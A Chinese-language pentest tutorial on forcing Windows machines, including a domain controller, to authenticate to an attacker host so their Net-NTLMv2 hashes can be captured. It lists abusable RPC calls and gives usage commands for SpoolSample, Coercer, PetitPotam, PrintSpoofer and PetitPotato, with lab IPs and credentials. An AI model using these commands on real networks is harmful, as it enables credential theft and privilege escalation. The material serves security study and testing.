# 强制身份认证

利用Windows一些接口函数特性，能让目标机器以system(本地)或者说机器用户(域内)来进行身份验证，再将协议协商为ntlm，就可以在域内获取机器用户的Net-Ntlm hash

例如：我这里在域内某台机器(10.10.10.234)使用spoolsample工具让目标机器(dc 10.10.10.139)对kali机器(10.10.10.10)进行强制身份验证,可以从wireshark监听到的数据包和responder的结果来看确实获取到了目标机器的`Net-Ntlm v2 hash`

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fuy8yb2PMqcW13H2TcWS9%2F1685291992701.png?alt=media&#x26;token=5b2ace49-9c30-4774-a836-9c37a4b7ca31" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1685291992701.png)

往wireshark前面看看

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FDH5V5UOwZB65Ae0u06FG%2F1685292859674.png?alt=media&#x26;token=4d4939b5-a912-4769-ba0a-8f3ade591486" alt=""><figcaption></figcaption></figure>

第一个箭头是创建ipc$，创建这个也是要身份验证的（**所以在域内使用该攻击方式需要获取域用户/机器用户凭据或者令牌**），下面的spoolss应该是打印机专属的管道，第二个箭头是调用RemoteFindFirstPrinterChangeNotificationEx 函数，可见调用函数后有一群Negotiate字样的数据包，这些是协议协商，在这里设置使用ntlm协议认证，之后就可以看见dc向我们认证

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FpHMv4Ui0AinMai9dGYec%2F1685293042067.png?alt=media&#x26;token=2ac56167-67e1-4754-a193-944391e6f0fe" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1685293042067.png)

这是调用函数那个数据包，可以看见它把server name设为了kali机器，所以会向kali进行身份验证

## 攻击面

* 基于资源的约束委派（机器用户相当于本地system账户，可以对自己写入属性）
* 非约束委派（让对方与非约束委派机器建立连接）
* 服务账户模拟提权（模拟system账户）

## 可强制身份验证的一些方法

* **\[MS-DFSNM]：分布式文件系统 （DFS）：命名空间管理协议**
  * 远程调用 NetrDfsAddStdRoot （opnum 12）
  * 远程调用 NetrDfsRemoveStdRoot （opnum 13）
* **\[MS-EFSR]：加密文件系统远程 （EFSRPC） 协议**
  * 远程调用 EfsRpcOpenFileRaw （opnum 0）
  * 远程调用 EfsRpcEncryptFileSrv （opnum 4）
  * 远程调用 EfsRpcDecryptFileSrv （opnum 5）
  * 远程调用 EfsRpcQueryUsersOnFile （opnum 6）
  * 远程调用 EfsRpcQueryRecoveryAgents （opnum 7）
  * 远程调用 EfsRpcFileKeyInfo （opnum 12）
  * 远程调用 EfsRpcDuplicateEncryptionInfoFile （opnum 13）
  * 远程调用 EfsRpcAddUsersToFileEx （opnum 15）
* **\[MS-FSRVP]：文件服务器远程 VSS 协议**
  * 远程调用 IsPathSupport （opnum 8）
  * 远程调用 IsPathShadowCopyed（opnum 9）
* **\[MS-PAR]： 打印系统异步远程协议**
  * 远程调用 RpcAsyncOpenPrinter （opnum 0）
* **\[MS-RPRN]：打印系统远程协议**
  * 远程调用 RpcRemoteFindFirstPrinterChangeNotificationEx （opnum 65）

来自：[p0dalirius/windows-coerced-authentication-methods：通过具有各种协议的远程过程调用 （RPC） 强制 Windows 计算机向攻击者控制的计算机进行身份验证的方法列表 (github.com)](https://github.com/p0dalirius/windows-coerced-authentication-methods)

## 工具

### spoolsample

这是利用打印机错误，RpcRemoteFindFirstPrinterChangeNotificationEx 接口来实现的工具

**可用于非约束委派攻击，基于资源的约束委派攻击**

工具地址：[leechristensen/SpoolSample: PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well. (github.com)](https://github.com/leechristensen/SpoolSample)

用法：

```
spoolsample <target-ip> <attack-ip>
# 目标ip可以换为目标机器名，例如dc.fbi.gov
```

### printspoofer

这也是利用打印机错误，RpcRemoteFindFirstPrinterChangeNotificationEx 接口来实现的工具

**可用于拥有SeImpersonatePrivilege特权的用户（iis，SQL server等服务用户）进行权限提升**

工具地址：[itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 (github.com)](https://github.com/itm4n/PrintSpoofer)

用法：

```
printspoofer -i -c "whoami"
```

### coercer

这是利用了很多接口来实现的工具

**同样可用于非约束委派攻击，基于资源的约束委派攻击**

工具地址：[Releases · p0dalirius/Coercer (github.com)](https://github.com/p0dalirius/Coercer)

用法：

```
python3 Coercer.py scan -t 10.10.10.41 -u "testice" -p "Ice231..." -d fbi.gov -v
# 测试哪些接口可以利用
-t指定目标机器
-u指定域用户
-p指定域用户密码
-d指定域
```

```
python3 Coercer.py coerce  -l 10.10.10.39 -t 10.10.10.41 -u "testice" -p "Ice231..." -d fbi.gov -v   
# 强制认证
-l指定攻击机
```

### petitpotato

**可用于拥有SeImpersonatePrivilege特权的用户（iis，SQL server等服务用户）进行权限提升**

工具地址：[Releases · wh0amitz/PetitPotato (github.com)](https://github.com/wh0amitz/PetitPotato)

用法：

```
petitpotato
# 可查看利用的方法
    [0] EfsRpcOpenFileRaw
    [1] EfsRpcEncryptFileSrv
    [2] EfsRpcDecryptFileSrv
    [3] EfsRpcQueryUsersOnFile
    [4] EfsRpcQueryRecoveryAgents
    [5] EfsRpcRemoveUsersFromFile (Failed)
    [6] EfsRpcAddUsersToFile
    [7] EfsRpcFileKeyInfo
    [8] EfsRpcDuplicateEncryptionInfoFile (Failed)
    [9] EfsRpcAddUsersToFileEx
    [10] EfsRpcFileKeyInfoEx (Failed)
    [11] EfsRpcGetEncryptedFileMetadata (Failed)
    [12] EfsRpcSetEncryptedFileMetadata (Failed)

petitpotato 3 cmd
# 使用第三个方法
```

可用于较新的系统例如Windows server 2022

### petitpotam

**同样可用于非约束委派攻击，基于资源的约束委派攻击**

工具地址：

[topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions. (github.com)](https://github.com/topotam/PetitPotam)

用法：

```
python3 PetitPotam.py -u "testice" -p "Ice231..." -d fbi.gov 10.10.10.39 10.10.10.41  
```

### 一些其他工具

[cube0x0/SharpSystemTriggers: Collection of remote authentication triggers in C# (github.com)](https://github.com/cube0x0/SharpSystemTriggers)
